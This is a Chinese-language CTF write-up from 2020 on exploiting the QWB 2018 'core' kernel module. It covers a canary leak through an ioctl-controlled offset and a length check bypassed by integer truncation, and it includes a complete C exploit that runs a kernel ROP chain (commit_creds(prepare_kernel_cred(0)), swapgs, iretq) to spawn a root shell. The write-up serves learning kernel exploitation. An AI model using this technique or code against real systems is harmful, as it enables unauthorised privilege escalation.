kernel_pwn ROP

2020-11-07

kernel

通常一个内核由负责响应中断的中断服务程序，负责管理多个进程从而分享处理器时间的调度程序，负责管理进程地址空间的内存管理程序，进程间通讯等系统服务程序共同组成。 –linux内核设计与实现

一直想学kernel pwn，但迟迟没有开始（懒🤦）。最近又心血来潮，翻开了linux内核设计与实现这本书，准备看这本来入门kernel。这将会是一个系列，记录下自己的学习过程（读书笔记+kernel_pwn题目复现），希望自己可以坚持下去🎃。

kernel顾名思义是操作的核心，它其实起到了一个承上（用户空间）启下（硬件设备）的作用。应用程序通过系统调用来与内核通信，内核通过处理中断（通过中断号找中断服务程序）来管理系统的硬件设备。
注意：很多操作系统的中断服务程序，包括linux，都不在进程上下文中执行；而是在专门的中断上下文中运行，与所有进程都无关。

kernel_pwn_ROP

题目来自qwd2018_core。

就ctf里kernel pwn而言我们所要做的就是提权（得到一个root权限的进程）。挖掘出存在于kernel模块里的漏洞并通过用户态的相应的系统调用进到内核态中去触发漏洞从而到达提权的目的。
直接撸题✔
解压之后可以看到这些文件：
bzImage：压缩后的内核镜像
vmlinux：编译出的原始内核文件，没有被压缩而且是静态连接的。
.sh：qemu的启动脚本
.cpio：打包后的文件系统

我们首先看下.sh文件：

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

解释下参数：

-m 指定内存(RAM)大小
-kernel 指定内核镜像
-initrd 指定内核启动的文件系统
-qppend 附加选项 指定no kaslr可以关闭地址随机化
-s 相当于-gdb tcp::1234，可以用gdb ./vmlinux调试
-smp 用于声明所有可能用到的cpus, i.e. sockets cores threads = maxcpus.
-cpu 设置CPU的安全选项

保护机制：
常见的有kaslr（地址随机化），smep(内核态不可执行用户态的代码)，smap(内核态不可访问用户态的数据)。

解题过程：
拿到这些文件后首先要做的就是解包.cpio文件，但不要在共享文件夹下进行此操作，会导致解包的软链接出错。我一般是这样：

cp give_to_player /home/an9ela/kernel
cd /home/an9ela/kernel/give_to_player
mkdir core
mv core.cpio core.cpio.gz
mv core.cpio.gz ./core
cd core
gunzip core.cpio.gz
cpio -idmv < core.cpiow  //解包操作

find . | cpio -o --format=newc > ../core.cpio //打包操作，这题给了gen_cpio.sh直接./gen_cpio core.cpio

得到文件系统之后首先要看的就是Init文件了，这个是初始化内核时所进行的操作“

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms    //备份了kallsyms到tmp文件夹下
echo 1 > /proc/sys/kernel/kptr_restrict  //即我们不能通过/proc/kallsyms获得函数地址，但/tmp/kallsyms是不受影响的
echo 1 > /proc/sys/kernel/dmesg_restrict //无法通过dmesg查看内核的输出
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko    //插入core.ko模块，该模块也即我们要重点分析的模块
poweroff -d 120 -f &  //这句设置了120s自动关机，为不影响调试可以删掉
setsid /bin/cttyhack setuidgid 1000 /bin/sh   //我们的shell的uidgid为1000，root为0
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

接下来就要分析core.ko模块了，可以用ida打开。
首先查看init_module函数，该函数会在模块加载时执行。

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

该函数调用proc_create创建了名为core的虚拟文件，应用层通过读写改文件实现与内核的交互。
其中第三个参数file_operations存储了内核模块提供的对设备进行各种操作的函数指针，对于用户态而言也可以理解为我们可以通过core文件能进行那些操作。
点进去fop

1
2
3

.data:0000000000000438                 dq offset core_write
.data:0000000000000468                 dq offset core_ioctl
.data:0000000000000498                 dq offset core_release

可见能执行的操作为write,ioctl,release

接下来是core_ioctl函数：

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:

      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

int ioctl(int fd, ind cmd, …);是设备驱动程序中对设备的io通道进行管理的函数。其中fd是用户程序打开设备时使用open函数返回的文件标识符，cmd是用户程序对设备的控制命令。
ioctl是文件结构中的一个属性分量，如果你的驱动程序提供了对ioctl的支持，用户就可以在用户程序中使用ioctl函数实现对设备io通道的控制。
意思就是如果lkm中提供了ioctl功能（比如上面的这个函数），并且实现了对应指令的操作，那么在用户态中，通过这个驱动程序，我们就可以调用ioctl函数来直接调用模块中的操作。

而这里就提供了ioctl功能，继续分析core_read()。

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;

copy_to_user()函数中将v5+off中的0x40长度的数据拷贝到用户空间，其中off是bss上的全局变量。
而case 0x6677889C就给了我们控制off的机会，因此我们利用通过控制off=0x40来leak canary。

core_copy_func函数：

  __int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

首先对长度进行了检查，但注意数据类型，a1为int64，而在qmemcpy函数里类型了uint16，因此我们设计a1为0xffffffff00000000|(real_len)使int64为负数，从而绕过检查的同时造成溢出。

这样分析下来利用思路就很明确了：
先利用core_read()泄露canary，之后再利用core_cpoy_func在内核栈里构造rop，使其在内核态执行commit_creds(prepare_kernel_cred(0))使得进程的uidgid=0，然后返回到用户态执行system(“/bin/sh)从而完成提权。

难点在于rop的构造。
对于执行commit_creds(prepare_kernel_cred(0))来说，传参和用户态的一致，但要注意commit_creds()的参数是prepare_kernel_cred(0)函数的返回值。
从内核态返回用户态时要用到条指令swapgs和iretq。在执行iretq之前，执行swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容，用来获取指向内核数据结构的指针，然后才能执行系统调用之类的内核空间程序。

iret(特权返回)指令从内核空间返回到用户空间进程。但是iret(64位下为iretq)期望的特定的堆栈布局如下所示：

|----------------------|
| iretq_ret            |
|----------------------|
| RIP                  |<== low mem
|----------------------|
| CS                   |
|----------------------|
| EFLAGS               |
|----------------------|
| RSP                  |
|----------------------|
| SS                   |<== high mem
|----------------------|

新的用户空间指令指针(RIP)，用户空间堆栈指针(RSP)，代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。
一般我们用以下的扩展内联汇编获得所需的寄存器的值：

void save_status(){
     asm(
       " mov %%cs, %0\n"
       "mov %%ss,%1\n"
       "mov %%rsp,%3\n"
       "pushfq\n"
       "popq %2"
       :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)    //output
       :                                                        //input
       :"memory"                                               //list of clobbered registers即改变的内容
    );
    tf.rsp -= 4096;
    tf.rip = &launch_shell;
}

rop：

pwndbg> stack 50
00:0000│ rsp  0xffffa47a800e7e60 —▸ 0x7ffec40e5570 ◂— add    byte ptr [rcx - 0x70], dl /* 0x44777d3bde905100 */
01:0008│      0xffffa47a800e7e68 —▸ 0xffffffffb2200b2f ◂— pop    rdi /* 0x722540358b4cc35f */
02:0010│      0xffffa47a800e7e70 ◂— 0
03:0018│      0xffffa47a800e7e78 —▸ 0xffffffffb229cce0 ◂— push   rbp /* 0x153d8b48fd894855 */
04:0020│      0xffffa47a800e7e80 —▸ 0xffffffffb2221e53 ◂— pop    rcx /* 0xffdf89480127c359 */
05:0028│      0xffffa47a800e7e88 —▸ 0xffffffffb229c8e0 ◂— push   r12 /* 0x4025248b4c655441 */
06:0030│      0xffffa47a800e7e90 —▸ 0xffffffffb23ae978 ◂— mov    rdi, rax /* 0xc28ee9e1ffc78948 */
07:0038│      0xffffa47a800e7e98 —▸ 0xffffffffb2c012da ◂— swapgs  /* 0x485590c39df8010f */
08:0040│      0xffffa47a800e7ea0 ◂— 0
09:0048│      0xffffa47a800e7ea8 —▸ 0xffffffffb2250ac2 ◂— iretq   /* 0x1f0f2e6690c3cf48 */
0a:0050│      0xffffa47a800e7eb0 —▸ 0x400eac ◂— push   rbp
0b:0058│      0xffffa47a800e7eb8 ◂— 0x33 /* '3' */
0c:0060│      0xffffa47a800e7ec0 ◂— 0x282
0d:0068│      0xffffa47a800e7ec8 —▸ 0x7ffec40e45c0 ◂— 0
0e:0070│      0xffffa47a800e7ed0 ◂— 0x2b /* '+' */
0f:0078│      0xffffa47a800e7ed8 ◂— 0


*(ptr + i++) = canary;
*(ptr + i++) = rbp;
*(ptr + i++) = prdi_ret;
*(ptr + i++) = 0;
*(ptr + i++) = prepare_kernel_cred;
*(ptr + i++) = prcx_ret;
*(ptr + i++) = commit_creds;
*(ptr + i++) = mov_rdi_rax_jmp_rcx;

*(ptr + i++) = swapgs_p_ret;
*(ptr + i++) = 0;
*(ptr + i++) = iretq_ret;
*(ptr + i++) = (uint64_t) launch_shell;
*(ptr + i++) = tf.cs;
*(ptr + i++) = tf.rflags;
*(ptr + i++) = tf.rsp;
*(ptr + i++) = tf.ss;

exp:

#include<stdio.h>
#include<string.h>
#include<inttypes.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>

struct trap_frame{c
    void *rip;
    uint64_t cs;
    uint64_t rflags;
    void * rsp;
    uint64_t ss;
}__attribute__((packed));

struct trap_frame tf;

uint64_t kernel_base=0;
uint64_t commit_creds=0;
uint64_t prepare_kernel_cred = 0;
uint64_t commit_creds_offset = 0x9c8e0;
uint64_t prepare_kernel_cred_offset = 0x9cce0;
uint64_t canary = 0;
uint64_t rbp = 0;

uint64_t prdi_ret = 0x0b2f; //: pop rdi; ret;
uint64_t mov_rdi_rax_jmp_rcx = 0x1ae978; //: mov rdi, rax; jmp rcx;
uint64_t mov_rdi_rax_jmp_rdx = 0x6a6d2; //: mov rdi, rax; jmp rdx;
uint64_t prcx_ret = 0x21e53; //: pop rcx; ret;
uint64_t swapgs_p_ret = 0xa012da; //: swapgs; popfq; ret;
uint64_t iretq_ret = 0x50ac2; //: iretq; ret;

bool get_kernel_base(){
    FILE *fd;
    uint64_t kernel_base1=0,kernel_base2=0;
    fd=fopen("/tmp/kallsyms","rb");
    char line[0x30];
    if(fd<0){
        die("open kallsyms fialed");
    }
    while(1){
        fgets(line,0x30,fd);
        if(kernel_base!=0){
            return true;
        }
        if(strstr(line,"commit_creds")&&!commit_creds){
            getchar();
            sscanf(line,"%llx",&commit_creds);
            printf("commit_creds addr: %p\n",commit_creds);
            kernel_base1=commit_creds-commit_creds_offset;
        }
        if(strstr(line,"prepare_kernel_cred")&&!prepare_kernel_cred){
            getchar();
            sscanf(line,"%llx",&prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n",prepare_kernel_cred);
            kernel_base2=prepare_kernel_cred-prepare_kernel_cred_offset;
        }
        if(kernel_base1!=0&&kernel_base1==kernel_base2){
            kernel_base=kernel_base1;
        }
    }
}

void leak(int fd){
    ioctl(fd,0x6677889C,0x40);
    uint8_t buffer[0x40];
    ioctl(fd,0x6677889B,buffer);
    canary=*(uint64_t *)buffer;
    rbp=*(uint64_t *)(buffer+8);
    printf("canary: %p\n",canary);
}

void set_gadget_addr()
{
    prdi_ret += kernel_base;
    prcx_ret += kernel_base;
    mov_rdi_rax_jmp_rcx += kernel_base;
    mov_rdi_rax_jmp_rdx += kernel_base;
    swapgs_p_ret += kernel_base;
    iretq_ret += kernel_base;
    return ;
}

void launch_shell();
void save_status(){
     asm(
       " mov %%cs, %0\n"
       "mov %%ss,%1\n"
       "mov %%rsp,%3\n"
       "pushfq\n"
       "popq %2"
       :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)
       :
       :"memory"
    );
    tf.rsp -= 4096;
    tf.rip = &launch_shell;
}

void launch_shell(){
    execl("/bin/sh","sh",NULL);
}

int main(){
    bool ret = get_kernel_base();
    int i = 0;
    uint8_t buffer[0x800] = {0};
    int fd = open("/proc/core",O_RDWR);
    leak(fd);
    set_gadget_addr();
    save_status();
    uint64_t *ptr;
    ptr = (uint64_t *)(buffer+0x40);
    *(ptr + i++) = canary;
    *(ptr + i++) = rbp;
    *(ptr + i++) = prdi_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = prepare_kernel_cred;
    *(ptr + i++) = prcx_ret;
    *(ptr + i++) = commit_creds;
    *(ptr + i++) = mov_rdi_rax_jmp_rcx;

    *(ptr + i++) = swapgs_p_ret;
    *(ptr + i++) = 0;
    *(ptr + i++) = iretq_ret;
    *(ptr + i++) = (uint64_t) launch_shell;
    *(ptr + i++) = tf.cs;
    *(ptr + i++) = tf.rflags;
    *(ptr + i++) = tf.rsp;
    *(ptr + i++) = tf.ss;

    write(fd,buffer,0x800);
    uint64_t len=0xffffffff00000000;
    uint32_t l=0x100;
    len|=l;
    ioctl(fd,0x6677889A,len);

    return 0;
}

一点补充：
静态编译exp(内核没有c库):
gcc exp.c -static -o exploit

查找gadget指令：
ROPgadget --binary vmlinux > ropgadget

调试方法：
.sh脚本里有-s我们可以通过

1
2
3

gdb ./vmlinux
target remote:1234
add-symbol-file core.ko 0xffffffffc0000000  (该text的基地址通过cat /sys/module/core/sections/.text得到)

这样就可以直接根据模块里的函数名下断了。

但又一点很疑惑的时pwngdb调内核空间巨卡，而且si/ni直接跑飞了🤦，只能下断点再c这样调，ruan师傅说gef调起来很快，得再去搞个gef来。

参考博客（感谢）：
https://f5.pm/go-26809.html
https://www.cnblogs.com/T1e9u/p/13805760.html
https://www.freebuf.com/articles/system/227357.html